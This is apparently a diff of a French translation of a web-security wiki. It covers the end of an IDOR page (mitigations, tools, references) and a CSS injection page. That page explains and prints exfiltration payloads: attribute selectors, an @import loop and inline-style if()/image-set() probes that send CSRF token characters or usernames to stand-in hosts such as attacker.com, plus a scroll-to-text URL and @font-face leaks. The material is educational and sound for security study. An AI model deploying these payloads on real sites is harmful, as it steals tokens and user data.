3. Effectuer l'**autorisation côté serveur**, ne jamais se fier aux champs de formulaire cachés ou aux contrôles UI.
|
||||
4. Implémenter les vérifications **RBAC / ABAC** dans un middleware central.
|
||||
5. Ajouter du **rate-limiting & logging** pour détecter l'énumération d'IDs.
|
||||
6. Tester la sécurité de chaque nouvel endpoint (unit, integration, et DAST).
|
||||
|
||||
---
|
||||
## 5. Outils
|
||||
* **Extensions BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
## 5. Tooling
|
||||
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **Projets Github**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
|
||||
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
|
||||
|
||||
|
||||
|
||||
## References
|
||||
## Références
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## CSS Injection
|
||||
|
||||
### Sélecteur d'attribut
|
||||
### Attribute Selector
|
||||
|
||||
Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs `name` et `value` d'un élément `input`. Si l'attribut `value` de l'élément `input` commence par un caractère spécifique, une ressource externe prédéfinie est chargée :
|
||||
```css
|
||||
@ -19,25 +19,25 @@ input[name="csrf"][value^="9"] {
|
||||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Cependant, cette approche présente une limitation lorsqu'il s'agit d'éléments input cachés (`type="hidden"`) car les éléments cachés ne chargent pas d'arrière-plans.
|
||||
However, this approach faces a limitation when dealing with hidden input elements (`type="hidden"`) because hidden elements do not load backgrounds.
|
||||
|
||||
#### Contournement pour les éléments cachés
|
||||
|
||||
Pour contourner cette limitation, vous pouvez cibler un élément frère suivant en utilisant le `~` general sibling combinator. La règle CSS s'applique alors à tous les siblings suivant l'élément input caché, provoquant le chargement de l'image d'arrière-plan :
|
||||
Pour contourner cette limitation, vous pouvez cibler un élément frère suivant en utilisant le combinator général de sibling `~`. La règle CSS s'applique alors à tous les frères suivant l'input caché, provoquant le chargement de l'image de fond :
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
Un exemple concret d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le consulter [ici](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
Un exemple pratique d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le voir [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
|
||||
#### Prérequis pour CSS Injection
|
||||
|
||||
Pour que la technique CSS Injection soit efficace, certaines conditions doivent être remplies :
|
||||
|
||||
1. **Payload Length** : Le vecteur d'injection CSS doit accepter des payloads suffisamment longs pour contenir les sélecteurs conçus.
|
||||
2. **CSS Re-evaluation** : Vous devez pouvoir mettre la page en iframe, ce qui est nécessaire pour déclencher la réévaluation du CSS avec des payloads nouvellement générés.
|
||||
3. **External Resources** : La technique suppose la possibilité d'utiliser des images hébergées externement. Cela peut être restreint par la Content Security Policy (CSP) du site.
|
||||
1. **Payload Length**: Le vecteur de CSS injection doit supporter des payloads suffisamment longs pour accueillir les selectors conçus.
|
||||
2. **CSS Re-evaluation**: Vous devez être capable d'encadrer la page, ce qui est nécessaire pour déclencher la réévaluation du CSS avec des payloads nouvellement générés.
|
||||
3. **External Resources**: La technique suppose la possibilité d'utiliser des images hébergées à l'extérieur. Cela peut être restreint par la Content Security Policy (CSP) du site.
|
||||
|
||||
### Blind Attribute Selector
|
||||
|
||||
@ -52,34 +52,34 @@ background: url(/m);
|
||||
<input name="mytoken" value="1337" />
|
||||
<input name="myname" value="gareth" />
|
||||
```
|
||||
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
En combinant cela avec la technique **@import** suivante, il est possible d'exfiltrer beaucoup d'**informations en utilisant l'injection CSS depuis des blind pages avec** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
La technique précédente présente quelques inconvénients, consultez les prérequis. Vous devez soit être capable de **send multiple links to the victim**, soit être capable d'**iframe the CSS injection vulnerable page**.
|
||||
La technique précédente présente quelques inconvénients, regardez les prérequis. Vous devez soit être capable d'**envoyer plusieurs liens à la victime**, soit être capable d'**iframe la page vulnérable à l'injection CSS**.
|
||||
|
||||
Cependant, il existe une autre technique astucieuse qui utilise **CSS `@import`** pour améliorer l'efficacité de la méthode.
|
||||
Cependant, il existe une autre technique ingénieuse qui utilise **CSS `@import`** pour améliorer la qualité de la technique.
|
||||
|
||||
Ceci a été présenté pour la première fois par [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) et fonctionne ainsi :
|
||||
Cela a été montré pour la première fois par [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) et cela fonctionne ainsi :
|
||||
|
||||
Au lieu de charger la même page plusieurs fois avec des dizaines de payloads différents à chaque fois (comme dans la méthode précédente), nous allons **charger la page une seule fois et uniquement avec un import vers le serveur de l'attaquant** (c'est le payload à envoyer à la victime) :
|
||||
Au lieu de charger la même page encore et encore avec des dizaines de payloads différents à chaque fois (comme dans la précédente), nous allons **charger la page une seule fois et seulement avec un import vers le serveur de l'attaquant** (c'est le payload à envoyer à la victime) :
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. L'import va **receive some CSS script** des attaquants et le **browser will load it**.
|
||||
2. La première partie du script CSS que l'attaquant enverra est **another `@import` to the attackers server again.**
|
||||
1. Le serveur de l'attaquant ne répondra pas encore à cette requête, car nous voulons leak quelques caractères puis répondre à cet import avec le payload pour leak les suivants.
|
||||
3. La deuxième et plus importante partie du payload sera un **attribute selector leakage payload**
|
||||
1. Cela enverra au serveur de l'attaquant le **premier caractère du secret et le dernier**
|
||||
4. Une fois que le serveur de l'attaquant a reçu le **premier et le dernier caractère du secret**, il **respond the import requested in the step 2**.
|
||||
1. La réponse sera exactement la même que **les étapes 2, 3 et 4**, mais cette fois elle tentera de **trouver le deuxième caractère du secret puis l'avant-dernier**.
|
||||
1. L'import va **recevoir un script CSS** des attaquants et le **navigateur le chargera**.
|
||||
2. La première partie du script CSS que l'attaquant enverra est **un autre `@import` vers le serveur des attaquants.**
|
||||
1. Le serveur des attaquants ne répondra pas encore à cette requête, car nous voulons leak quelques caractères puis répondre à cet import avec la payload pour leak les suivants.
|
||||
3. La seconde et plus grosse partie de la payload sera un **payload d'exfiltration par sélecteur d'attribut**
|
||||
1. Ceci enverra au serveur des attaquants le **premier caractère du secret et le dernier**
|
||||
4. Une fois que le serveur des attaquants aura reçu le **premier et le dernier caractère du secret**, il **répondra à l'import demandé à l'étape 2**.
|
||||
1. La réponse sera exactement la même que les **étapes 2, 3 et 4**, mais cette fois elle tentera de **trouver le deuxième caractère du secret puis l'avant-dernier**.
|
||||
|
||||
L'attaquant suivra cette boucle jusqu'à ce qu'il parvienne à leak complètement le secret.
|
||||
L'attaquant va **suivre cette boucle jusqu'à ce qu'il réussisse à leak complètement le secret.**
|
||||
|
||||
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
|
||||
Vous pouvez trouver le code original de [**Pepe Vila pour exploiter ceci ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](#css-injection)
|
||||
|
||||
> [!TIP]
|
||||
> Le script essaiera de découvrir 2 chars à chaque fois (depuis le début et depuis la fin) parce que l'attribute selector permet de faire des choses comme :
|
||||
> Le script va essayer de découvrir 2 caractères à la fois (depuis le début et depuis la fin) parce que le sélecteur d'attribut permet de faire des choses comme :
|
||||
>
|
||||
> ```css
|
||||
> /* value^= to match the beggining of the value*/
|
||||
@ -96,51 +96,51 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
|
||||
> Cela permet au script de leak le secret plus rapidement.
|
||||
|
||||
> [!WARNING]
|
||||
> Parfois le script **n'indique pas correctement que le préfixe + suffix découvert est déjà le flag complet** et il continuera vers l'avant (dans le préfixe) et vers l'arrière (dans le suffix) et à un moment donné il se bloquera.\
|
||||
> Pas de soucis, vérifiez simplement la **output** parce que **vous pouvez voir le flag là**.
|
||||
> Parfois le script **ne détecte pas correctement que le préfixe + le suffixe découverts correspondent déjà au flag complet** et il continuera en avant (dans le préfixe) et en arrière (dans le suffixe) et à un moment donné il se bloquera.\
|
||||
> Aucun souci, vérifiez simplement la **sortie** car **vous pouvez voir le flag là**.
|
||||
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
### Exfiltration CSS en style inline (attr() + if() + image-set())
|
||||
|
||||
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
|
||||
Cette primitive permet l'exfiltration en n'utilisant que l'attribut style inline d'un élément, sans sélecteurs ni feuilles de style externes. Elle s'appuie sur les propriétés personnalisées CSS, la fonction attr() pour lire les attributs du même élément, les nouveaux conditionnels if() de CSS pour le branching, et image-set() pour déclencher une requête réseau qui encode la valeur correspondante.
|
||||
|
||||
> [!WARNING]
|
||||
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
|
||||
> Les comparaisons d'égalité dans if() exigent des guillemets doubles pour les littéraux de chaîne. Les guillemets simples ne correspondent pas.
|
||||
|
||||
- Sink : contrôler l'attribut style d'un élément et s'assurer que l'attribut ciblé est sur le même élément (attr() lit uniquement les attributs du même élément).
|
||||
- Read : copier l'attribut dans une variable CSS : `--val: attr(title)`.
|
||||
- Decide : sélectionner une URL en utilisant des conditionnels imbriqués comparant la variable avec des candidatures string : `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate : appliquer `background: image-set(var(--steal))` (ou toute propriété provoquant un fetch) pour forcer une requête vers l'endpoint choisi.
|
||||
- Sink: contrôler l'attribut style d'un élément et s'assurer que l'attribut ciblé est sur le même élément (attr() lit seulement les attributs du même élément).
|
||||
- Read: copier l'attribut dans une variable CSS: `--val: attr(title)`.
|
||||
- Decide: sélectionner une URL en utilisant des conditionnels imbriqués comparant la variable à des chaînes candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: appliquer `background: image-set(var(--steal))` (ou toute propriété provoquant une requête) pour forcer une requête vers l'endpoint choisi.
|
||||
|
||||
Attempt (does not work; single quotes in comparison):
|
||||
```html
|
||||
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
|
||||
```
|
||||
Payload fonctionnel (les guillemets doubles sont requis dans la comparaison):
|
||||
Payload fonctionnel (guillemets doubles requis dans la comparaison) :
|
||||
```html
|
||||
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
||||
```
|
||||
Énumération des valeurs d'attribut avec des conditions imbriquées:
|
||||
Énumération des valeurs d'attribut via des conditions imbriquées:
|
||||
```html
|
||||
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
||||
```
|
||||
Démo réaliste (sondage des noms d'utilisateur) :
|
||||
Démonstration réaliste (sondage des noms d'utilisateur) :
|
||||
```html
|
||||
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
|
||||
```
|
||||
Remarques et limitations :
|
||||
Notes et limitations :
|
||||
|
||||
- Fonctionne sur les navigateurs basés sur Chromium au moment de la recherche ; le comportement peut différer sur d'autres moteurs.
|
||||
- Mieux adapté aux espaces de valeurs finis/énumérables (IDs, flags, petits noms d'utilisateur). Le vol de chaînes arbitrairement longues sans feuilles de style externes reste difficile.
|
||||
- Toute propriété CSS qui récupère une URL peut être utilisée pour déclencher la requête (par ex. background/image-set, border-image, list-style, cursor, content).
|
||||
- Mieux adapté aux espaces de valeurs finis/énumérables (IDs, flags, short usernames). Le vol de chaînes arbitrairement longues sans feuilles de style externes reste difficile.
|
||||
- Toute propriété CSS qui récupère une URL peut être utilisée pour déclencher la requête (par ex., background/image-set, border-image, list-style, cursor, content).
|
||||
|
||||
Automatisation : a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### Autres sélecteurs
|
||||
|
||||
Autres façons d'accéder à des parties du DOM avec **CSS selectors** :
|
||||
Autres manières d'accéder à des parties du DOM avec **CSS selectors** :
|
||||
|
||||
- **`.class-to-search:nth-child(2)`** : Ceci cherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
|
||||
- **`:empty`** sélecteur : Utilisé par exemple dans [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** :**
|
||||
- **`.class-to-search:nth-child(2)`** : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
|
||||
- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty {
|
||||
@ -148,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### XS-Search basé sur les erreurs
|
||||
### Error based XS-Search
|
||||
|
||||
**Référence :** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
L'intention générale est d'**utiliser une police personnalisée depuis un endpoint contrôlé** et de s'assurer que **le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (`favicon.ico`) ne peut pas être chargée**.
|
||||
L'intention générale est d'**utiliser une police personnalisée provenant d'un endpoint contrôlé** et de s'assurer que **le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (`favicon.ico`) ne peut pas être chargée**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -176,47 +176,47 @@ font-family: "poc";
|
||||
```
|
||||
1. **Utilisation de police personnalisée**:
|
||||
|
||||
- Une police personnalisée est définie en utilisant la règle `@font-face` à l'intérieur d'une balise `<style>` dans la section `<head>`.
|
||||
- La police s'appelle `poc` et est récupérée depuis un endpoint externe (`http://attacker.com/?leak`).
|
||||
- Une police personnalisée est définie en utilisant la règle `@font-face` dans une balise `<style>` située dans la section `<head>`.
|
||||
- La police est nommée `poc` et est récupérée depuis un endpoint externe (`http://attacker.com/?leak`).
|
||||
- La propriété `unicode-range` est définie sur `U+0041`, ciblant le caractère Unicode spécifique 'A'.
|
||||
|
||||
2. **Élément <object> avec contenu de repli**:
|
||||
2. **Élément `<object>` avec texte de secours**:
|
||||
- Un élément `<object>` avec `id="poc0"` est créé dans la section `<body>`. Cet élément tente de charger une ressource depuis `http://192.168.0.1/favicon.ico`.
|
||||
- Le `font-family` de cet élément est défini sur `'poc'`, comme défini dans la section `<style>`.
|
||||
- Si la ressource (`favicon.ico`) ne peut pas être chargée, le contenu de repli (la lettre 'A') à l'intérieur de la balise `<object>` est affiché.
|
||||
- Le `font-family` de cet élément est défini sur `'poc'`, comme indiqué dans la section `<style>`.
|
||||
- Si la ressource (`favicon.ico`) échoue à se charger, le contenu de repli (la lettre 'A') à l'intérieur de la balise `<object>` est affiché.
|
||||
- Le contenu de repli ('A') sera rendu en utilisant la police personnalisée `poc` si la ressource externe ne peut pas être chargée.
|
||||
|
||||
### Styling Scroll-to-Text Fragment
|
||||
### Mise en forme du fragment Scroll-to-text
|
||||
|
||||
La pseudo-classe **:target** est employée pour sélectionner un élément ciblé par un **fragment d'URL**, comme spécifié dans la [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
|
||||
La pseudo-classe **`:target`** est utilisée pour sélectionner un élément ciblé par un **fragment d'URL**, comme spécifié dans la [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
|
||||
|
||||
Une préoccupation de sécurité survient lorsque des attaquants exploitent la fonctionnalité **Scroll-to-text**, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via HTML injection. La méthode consiste à injecter une règle CSS comme ceci:
|
||||
Un problème de sécurité survient lorsque des attaquants exploitent la fonctionnalité **Scroll-to-text**, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode consiste à injecter une règle CSS comme ceci:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
Dans de tels scénarios, si le texte "Administrateur" est présent sur la page, la ressource `target.png` est demandée au serveur, indiquant la présence du texte. Un exemple de cette attaque peut être exécuté via une URL spécialement conçue qui intègre le CSS injecté en même temps qu'un Scroll-to-text fragment :
|
||||
Dans de tels scénarios, si le texte "Administrator" est présent sur la page, la ressource `target.png` est demandée au serveur, indiquant la présence du texte. Un exemple de cette attaque peut être exécuté via une URL spécialement conçue qui intègre le CSS injecté ainsi qu'un fragment Scroll-to-text :
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Ici, l'attaque manipule une injection HTML pour transmettre du code CSS, visant le texte spécifique "Administrator" via le Scroll-to-text fragment (`#:~:text=Administrator`). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attaquant.
|
||||
Ici, the attack manipule HTML injection pour transmettre le code CSS, visant le texte spécifique "Administrator" via le Scroll-to-text fragment (`#:~:text=Administrator`). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attacker.
|
||||
|
||||
Pour atténuer ce risque, notez les points suivants :
|
||||
Pour atténuer, les points suivants doivent être notés :
|
||||
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) est conçu pour ne faire correspondre que des mots ou des phrases, limitant ainsi sa capacité à leak des secrets arbitraires ou des tokens.
|
||||
2. **Restriction to Top-level Browsing Contexts**: STTF fonctionne uniquement dans les contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
|
||||
3. **Necessity of User Activation**: STTF nécessite un geste d'activation utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont réalisables que via des navigations initiées par l'utilisateur. Cette exigence réduit considérablement le risque d'attaques automatisées sans interaction utilisateur. Néanmoins, l'auteur du billet de blog signale des conditions et des contournements spécifiques (par ex. social engineering, interaction avec des extensions de navigateur courantes) qui peuvent faciliter l'automatisation de l'attaque.
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à leak des secrets arbitraires ou des tokens.
|
||||
2. **Restriction to Top-level Browsing Contexts**: STTF fonctionne uniquement dans les top-level browsing contexts et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
|
||||
3. **Necessity of User Activation**: STTF nécessite un user-activation gesture pour fonctionner, ce qui signifie que les exploitations ne sont réalisables que via des navigations initiées par l'utilisateur. Cette exigence réduit considérablement le risque que des attacks soient automatisés sans interaction utilisateur. Néanmoins, l'auteur du blog signale des conditions et des bypasses spécifiques (par ex. social engineering, interaction avec des browser extensions répandues) qui pourraient faciliter l'automatisation de l'attack.
|
||||
|
||||
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se prémunir contre de telles tactiques d'exploitation.
|
||||
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la web security et se protéger contre de telles tactiques exploitatives.
|
||||
|
||||
Pour plus d'informations, consultez le rapport original : [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Vous pouvez consulter un [**exploit utilisant cette technique pour un CTF ici**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
Vous pouvez vérifier un [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Vous pouvez spécifier **des polices externes pour des valeurs Unicode spécifiques** qui ne seront **récupérées que si ces valeurs Unicode sont présentes** dans la page. Par exemple:
|
||||
Vous pouvez spécifier **polices externes pour des valeurs unicode spécifiques** qui ne seront **récupérées que si ces valeurs unicode sont présentes** dans la page. Par exemple:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -242,24 +242,24 @@ font-family: poc;
|
||||
<p id="sensitive-information">AB</p>
|
||||
htm
|
||||
```
|
||||
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
|
||||
When you access this page, Chrome et Firefox fetch "?A" et "?B" parce que le nœud de texte de sensitive-information contient les caractères "A" et "B". Mais Chrome et Firefox ne fetch pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".
|
||||
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
La technique décrite permet d'extraire le texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comporte plusieurs étapes :
|
||||
La technique décrite consiste à extraire du texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comporte plusieurs étapes :
|
||||
|
||||
1. **Création de polices personnalisées** :
|
||||
1. **Creation of Custom Fonts**:
|
||||
|
||||
- Des polices SVG sont créées avec des glyphs ayant un attribut `horiz-adv-x`, qui définit une grande largeur pour un glyphe représentant une séquence de deux caractères.
|
||||
- Exemple de glyph SVG : `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, où "XY" désigne une séquence de deux caractères.
|
||||
- Ces polices sont ensuite converties au format woff avec fontforge.
|
||||
- Des polices SVG sont conçues avec des glyphes ayant un attribut `horiz-adv-x`, qui définit une grande largeur pour un glyphe représentant une séquence de deux caractères.
|
||||
- Exemple de glyphe SVG : `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, où "XY" représente une séquence de deux caractères.
|
||||
- Ces polices sont ensuite converties en format woff en utilisant fontforge.
|
||||
|
||||
2. **Détection des changements de largeur** :
|
||||
2. **Detection of Width Changes**:
|
||||
|
||||
- Le CSS est utilisé pour empêcher le retour à la ligne (`white-space: nowrap`) et pour personnaliser le style de la barre de défilement.
|
||||
- L'apparition d'une barre de défilement horizontale, stylisée de façon distincte, sert d'indicateur (oracle) qu'une ligature spécifique, et donc une séquence de caractères spécifique, est présente dans le texte.
|
||||
- Le CSS est utilisé pour empêcher le retour à la ligne (`white-space: nowrap`) et pour personnaliser le style de la scrollbar.
|
||||
- L'apparition d'une scrollbar horizontale, stylée de manière distincte, sert d'indicateur (oracle) qu'une ligature spécifique, et donc une séquence de caractères spécifique, est présente dans le texte.
|
||||
- Le CSS impliqué :
|
||||
```css
|
||||
body {
|
||||
@ -273,28 +273,28 @@ background: url(http://attacker.com/?leak);
|
||||
}
|
||||
```
|
||||
|
||||
3. **Processus d'exploitation** :
|
||||
3. **Exploit Process**:
|
||||
|
||||
- **Étape 1** : Des polices sont créées pour des paires de caractères avec une largeur importante.
|
||||
- **Étape 2** : Une astuce basée sur la barre de défilement est utilisée pour détecter quand le glyphe de grande largeur (ligature pour une paire de caractères) est rendu, indiquant la présence de la séquence de caractères.
|
||||
- **Étape 3** : Dès la détection d'une ligature, de nouveaux glyphs représentant des séquences de trois caractères sont générés, incorporant la paire détectée et ajoutant un caractère précédent ou suivant.
|
||||
- **Étape 4** : La détection de la ligature à trois caractères est effectuée.
|
||||
- **Étape 5** : Le processus se répète, révélant progressivement l'intégralité du texte.
|
||||
- **Étape 1** : Des polices sont créées pour des paires de caractères avec une largeur conséquente.
|
||||
- **Étape 2** : Un tour avec la scrollbar est utilisé pour détecter quand le glyphe de grande largeur (ligature pour une paire de caractères) est rendu, indiquant la présence de la séquence de caractères.
|
||||
- **Étape 3** : Lors de la détection d'une ligature, de nouveaux glyphes représentant des séquences de trois caractères sont générés, incorporant la paire détectée et ajoutant un caractère précédent ou suivant.
|
||||
- **Étape 4** : La détection de la ligature de trois caractères est effectuée.
|
||||
- **Étape 5** : Le processus se répète, révélant progressivement tout le texte.
|
||||
|
||||
4. **Optimisation** :
|
||||
4. **Optimization**:
|
||||
- La méthode d'initialisation actuelle utilisant `<meta refresh=...` n'est pas optimale.
|
||||
- Une approche plus efficace pourrait utiliser le truc `@import` en CSS, améliorant les performances de l'exploit.
|
||||
- Une approche plus efficace pourrait impliquer l'astuce CSS `@import`, améliorant les performances de l'exploit.
|
||||
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Cette astuce a été publiée dans ce [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Le charset utilisé dans un text node peut être leaked **en utilisant les polices par défaut** installées dans le navigateur : aucune police externe ou personnalisée n'est nécessaire.
|
||||
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Le charset utilisé dans un nœud de texte peut être leaked en utilisant les polices par défaut installées dans le navigateur : aucune police externe ni personnalisée n'est nécessaire.
|
||||
|
||||
Le concept repose sur l'utilisation d'une animation pour élargir progressivement la largeur d'un `div`, permettant à un caractère à la fois de passer de la partie 'suffix' du texte à la partie 'prefix'. Ce processus divise efficacement le texte en deux sections :
|
||||
Le concept repose sur l'utilisation d'une animation pour élargir progressivement la largeur d'un div, permettant à un caractère à la fois de passer de la partie 'suffix' du texte à la partie 'prefix'. Ce processus divise efficacement le texte en deux sections :
|
||||
|
||||
1. **Prefix** : La ligne initiale.
|
||||
2. **Suffix** : La/les ligne(s) suivante(s).
|
||||
1. **Préfixe** : la ligne initiale.
|
||||
2. **Suffixe** : la/les ligne(s) suivante(s).
|
||||
|
||||
Les étapes de transition des caractères apparaîtraient comme suit :
|
||||
|
||||
@ -309,13 +309,13 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
Pendant cette transition, le **unicode-range trick** est utilisé pour identifier chaque nouveau caractère au fur et à mesure qu'il rejoint le prefix. Cela se fait en basculant la police vers Comic Sans, qui est nettement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révèle indirectement la présence d'un nouveau caractère dans le prefix.
|
||||
Pendant cette transition, l'astuce `unicode-range` est employée pour identifier chaque nouveau caractère au fur et à mesure qu'il rejoint le préfixe. Cela est réalisé en basculant la police sur Comic Sans, qui est nettement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette scrollbar révèle indirectement la présence d'un nouveau caractère dans le préfixe.
|
||||
|
||||
